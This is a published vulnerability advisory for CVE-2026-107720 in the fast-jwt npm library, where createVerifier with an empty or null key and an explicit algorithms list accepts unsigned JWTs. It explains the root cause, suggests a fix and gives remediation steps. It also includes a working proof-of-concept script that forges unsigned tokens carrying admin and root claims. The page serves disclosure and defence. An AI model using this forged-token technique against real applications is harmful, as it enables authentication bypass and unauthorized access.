CVE-2026-107720: fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

Published Oct 8, 2026
·
Updated

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

js // poc-empty-key-bypass.js const { createVerifier } = require('.')

function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }

// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE

try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY

Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }

Also guard the combination explicitly:

js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Other sources

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.

— MITRE

Affected Software

2 affected componentsFixes available
npm/fast-jwt<6.3.1
npm/fast-jwt<=6.3.0
6.3.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/fast-jwt to a version that resolves this vulnerability.

    Fixed in 6.3.1
  2. Upgrade

    Upgrade fast-jwt to a version that resolves this vulnerability.

    Fixed in 6.3.1

Event History

Oct 8, 2026
CVE Published
via MITRE·09:44 PM
Data Sourced
via MITRE·09:44 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·10:02 PM
Data Sourced
via GitHub·10:02 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are affected by this issue?

Affected deployments use fast-jwt versions before 6.3.1 and call createVerifier with a synchronous key value of an empty string or null while explicitly supplying a non-empty algorithms allowlist. Deployments using a non-empty key, an empty key without algorithms, or the asynchronous key-resolver path do not exhibit this behavior.

2

What does an attacker need to exploit it?

An attacker can submit an unsigned JWT with arbitrary claims and does not need to possess a signing key. The token must still satisfy any claim validators configured by the application.

3

What is the remediation?

Upgrade fast-jwt to version 6.3.1. Until upgrading, avoid configuring createVerifier with a null or empty synchronous key together with a non-empty algorithms allowlist.

4

How can I identify whether my application is exposed?

Review createVerifier calls and identify configurations where the synchronous key is null or an empty string and algorithms is explicitly set to a non-empty allowlist. Also confirm whether the installed fast-jwt version is earlier than 6.3.1.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203